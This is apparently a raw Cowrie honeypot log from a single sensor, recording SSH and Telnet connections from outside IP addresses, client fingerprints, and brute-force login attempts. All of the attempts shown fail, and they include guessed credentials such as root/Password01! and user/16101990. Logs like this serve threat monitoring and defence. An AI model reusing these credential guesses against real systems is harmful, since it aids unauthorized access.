{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:43:a4:84:67:b3:b4:46:c8:0a:23:93:b6:9e:33:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDR2bj4SFT6lamy2U8DKCqvPlihtBiro6GmxeB+AuGLqCofM/QSHs7LeNYWQF7K/deifL4umDmSAps/qmpOh3idwArTWwYWLzvWu2n5Gy1mMdd3v524o5KjA6divbvLdcq94p/Q7uuXVnMGs7ng0v0gxaD0vrDoe/uskNpgUB3o+2FEudhnXRX9sP55q622mk88y/kEVhLKoBAZxRR0tTxx6NkhjiWqzNCx3p25d6J9AAgczr/3kjSIAN2uV2xJFoOlrTPVmYBoPGIiiFSTiJRonZP8UHJJM6nqp106DafZ+gZspBoGmxLfZlN/BduOdtoqNU2vSjAG6q9IqBbNgxBJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:43:a4:84:67:b3:b4:46:c8:0a:23:93:b6:9e:33:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:48.459038Z","src_ip":"101.53.148.190","session":"3de8a4ad4a9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:43:a4:84:67:b3:b4:46:c8:0a:23:93:b6:9e:33:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDR2bj4SFT6lamy2U8DKCqvPlihtBiro6GmxeB+AuGLqCofM/QSHs7LeNYWQF7K/deifL4umDmSAps/qmpOh3idwArTWwYWLzvWu2n5Gy1mMdd3v524o5KjA6divbvLdcq94p/Q7uuXVnMGs7ng0v0gxaD0vrDoe/uskNpgUB3o+2FEudhnXRX9sP55q622mk88y/kEVhLKoBAZxRR0tTxx6NkhjiWqzNCx3p25d6J9AAgczr/3kjSIAN2uV2xJFoOlrTPVmYBoPGIiiFSTiJRonZP8UHJJM6nqp106DafZ+gZspBoGmxLfZlN/BduOdtoqNU2vSjAG6q9IqBbNgxBJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:48.463077Z","src_ip":"101.53.148.190","session":"3de8a4ad4a9c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:45:ff:08:8c:e5:56:56:9b:76:6e:6a:07:6f:12:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtCpistdPkYkBtG7nyootc459GM4bwRWXTSche/JuO1Qn/pL6bj/Uc1ddWhBvIZFsHzGlcC+TM82MPqO5po3eyYXs+sBsTRItJXdI3MraYbgcChn5pb+QhZ2/1yg8qwOR7KZ5i6VpFK3h/HH7B/00XfCGmeodZt0XpJeyN7x3i4tBKH5jbLv9g/T+HGc3l2rFBWPUal+8wf4FcTyhECHAikuYgNrzXYJPG1Nv1VM+lSC5Nt/Xk/RLGxzF+sYJLGzfolsdDsZPY6cKiQo1YZbg7fISfq7tBrMZS6LmCRYeDNu7FLjYMgfWIre17lcZB9kzn9F7au0tor54fbHUpOGybxN7MSfQzb/kI+9IkU+ZDEiaUP8jqSd6hphFAon5sLhJjxjMQ9ISv/YyJgEnYC6R6XrMu58CA4GLA46f0dvhz2jHIMTzfO1hKHK0NIdEhOXxLIt6M/FpGaHCSWt23Mwd331Iv2qg4xyLczMEJG9UAF7CaeeDGRra42KGWPmDdg90=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:45:ff:08:8c:e5:56:56:9b:76:6e:6a:07:6f:12:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:48.685679Z","src_ip":"101.53.148.190","session":"3de8a4ad4a9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:45:ff:08:8c:e5:56:56:9b:76:6e:6a:07:6f:12:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtCpistdPkYkBtG7nyootc459GM4bwRWXTSche/JuO1Qn/pL6bj/Uc1ddWhBvIZFsHzGlcC+TM82MPqO5po3eyYXs+sBsTRItJXdI3MraYbgcChn5pb+QhZ2/1yg8qwOR7KZ5i6VpFK3h/HH7B/00XfCGmeodZt0XpJeyN7x3i4tBKH5jbLv9g/T+HGc3l2rFBWPUal+8wf4FcTyhECHAikuYgNrzXYJPG1Nv1VM+lSC5Nt/Xk/RLGxzF+sYJLGzfolsdDsZPY6cKiQo1YZbg7fISfq7tBrMZS6LmCRYeDNu7FLjYMgfWIre17lcZB9kzn9F7au0tor54fbHUpOGybxN7MSfQzb/kI+9IkU+ZDEiaUP8jqSd6hphFAon5sLhJjxjMQ9ISv/YyJgEnYC6R6XrMu58CA4GLA46f0dvhz2jHIMTzfO1hKHK0NIdEhOXxLIt6M/FpGaHCSWt23Mwd331Iv2qg4xyLczMEJG9UAF7CaeeDGRra42KGWPmDdg90=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:48.689949Z","src_ip":"101.53.148.190","session":"3de8a4ad4a9c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:ce:01:54:bc:3d:2d:1a:2a:59:8a:ef:37:be:52:c6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHWsUo6iWhp03CKJdNUgEdFyHRVYXfK6C/YHBIKsRign","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a6:ce:01:54:bc:3d:2d:1a:2a:59:8a:ef:37:be:52:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:48.913358Z","src_ip":"101.53.148.190","session":"3de8a4ad4a9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:ce:01:54:bc:3d:2d:1a:2a:59:8a:ef:37:be:52:c6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHWsUo6iWhp03CKJdNUgEdFyHRVYXfK6C/YHBIKsRign","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:48.917373Z","src_ip":"101.53.148.190","session":"3de8a4ad4a9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:00:49.143745Z","src_ip":"101.53.148.190","session":"3de8a4ad4a9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.24","src_port":45746,"dst_ip":"159.203.135.109","dst_port":22,"session":"46835f29e745","protocol":"ssh","message":"New connection: 64.62.156.24:45746 (159.203.135.109:22) [session: 46835f29e745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:02:40.709009Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xbe\\xab\\xb8J\\xb2M\\xcf\u001e\\xe9\\xa1I,\\xe5\\xd5.\\x9e\\xb5\\x92\\xfdD\\x95\u0012\\xc0\\xa0\\xeck\\xd7\u0004\\xa4\\xa6\\xda \u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xbe\\xab\\xb8J\\xb2M\\xcf\u001e\\xe9\\xa1I,\\xe5\\xd5.\\x9e\\xb5\\x92\\xfdD\\x95\u0012\\xc0\\xa0\\xeck\\xd7\u0004\\xa4\\xa6\\xda \u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:02:40.713816Z","src_ip":"64.62.156.24","session":"46835f29e745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:02:40.718377Z","src_ip":"64.62.156.24","session":"46835f29e745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":39510,"dst_ip":"10.17.0.5","dst_port":22,"session":"387f34e53ea4","protocol":"ssh","message":"New connection: 103.15.226.202:39510 (10.17.0.5:22) [session: 387f34e53ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:02:50.615187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:02:50.636378Z","src_ip":"103.15.226.202","session":"387f34e53ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:02:50.875805Z","src_ip":"103.15.226.202","session":"387f34e53ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password01!","message":"login attempt [root/Password01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:02:51.897206Z","src_ip":"103.15.226.202","session":"387f34e53ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:02:53.159186Z","src_ip":"103.15.226.202","session":"387f34e53ea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.32.11","src_port":10688,"dst_ip":"159.203.135.109","dst_port":22,"session":"6910685d7654","protocol":"ssh","message":"New connection: 95.215.32.11:10688 (159.203.135.109:22) [session: 6910685d7654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:02:54.523757Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:02:54.528633Z","src_ip":"95.215.32.11","session":"6910685d7654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.32.11","src_port":10702,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b5a6a0895b3","protocol":"ssh","message":"New connection: 95.215.32.11:10702 (159.203.135.109:22) [session: 7b5a6a0895b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:02:54.606351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:02:54.611264Z","src_ip":"95.215.32.11","session":"7b5a6a0895b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:02:54.616786Z","src_ip":"95.215.32.11","session":"7b5a6a0895b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W#E$R%T^Y&","message":"login attempt [root/!Q@W#E$R%T^Y&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:02:54.631120Z","src_ip":"95.215.32.11","session":"7b5a6a0895b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:02:55.639447Z","src_ip":"95.215.32.11","session":"7b5a6a0895b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":50658,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc13a7866e9d","protocol":"ssh","message":"New connection: 2.57.121.25:50658 (10.17.0.5:22) [session: fc13a7866e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:03:26.298303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:03:26.303100Z","src_ip":"2.57.121.25","session":"fc13a7866e9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:03:26.403467Z","src_ip":"2.57.121.25","session":"fc13a7866e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16101990","message":"login attempt [user/16101990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:03:26.873848Z","src_ip":"2.57.121.25","session":"fc13a7866e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"160883","message":"login attempt [user/160883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:03:27.975721Z","src_ip":"2.57.121.25","session":"fc13a7866e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16071996","message":"login attempt [user/16071996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:03:29.077931Z","src_ip":"2.57.121.25","session":"fc13a7866e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"160589","message":"login attempt [user/160589] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:03:30.180848Z","src_ip":"2.57.121.25","session":"fc13a7866e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16051995","message":"login attempt [user/16051995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:03:31.283743Z","src_ip":"2.57.121.25","session":"fc13a7866e9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:03:32.387036Z","src_ip":"2.57.121.25","session":"fc13a7866e9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":31859,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cdd8c8be6d5","protocol":"telnet","message":"New connection: 212.55.149.117:31859 (10.17.0.5:23) [session: 0cdd8c8be6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:03:39.077095Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":54640,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdee652dc9af","protocol":"ssh","message":"New connection: 80.94.92.186:54640 (159.203.135.109:22) [session: bdee652dc9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:00.227013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:00.330169Z","src_ip":"80.94.92.186","session":"bdee652dc9af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:00.421689Z","src_ip":"80.94.92.186","session":"bdee652dc9af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:01.435069Z","src_ip":"80.94.92.186","session":"bdee652dc9af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:03.000919Z","src_ip":"80.94.92.186","session":"bdee652dc9af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":41614,"dst_ip":"10.17.0.5","dst_port":23,"session":"544a4ed8e8fb","protocol":"telnet","message":"New connection: 176.65.149.254:41614 (10.17.0.5:23) [session: 544a4ed8e8fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:19.388802Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.147.191","src_port":57000,"dst_ip":"10.17.0.5","dst_port":22,"session":"677259546919","protocol":"ssh","message":"New connection: 45.148.147.191:57000 (10.17.0.5:22) [session: 677259546919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:39.011624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:39.017142Z","src_ip":"45.148.147.191","session":"677259546919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:39.113106Z","src_ip":"45.148.147.191","session":"677259546919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.26748251914978,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:04:39.344467Z","src_ip":"212.55.149.117","session":"0cdd8c8be6d5","protocol":"telnet"}
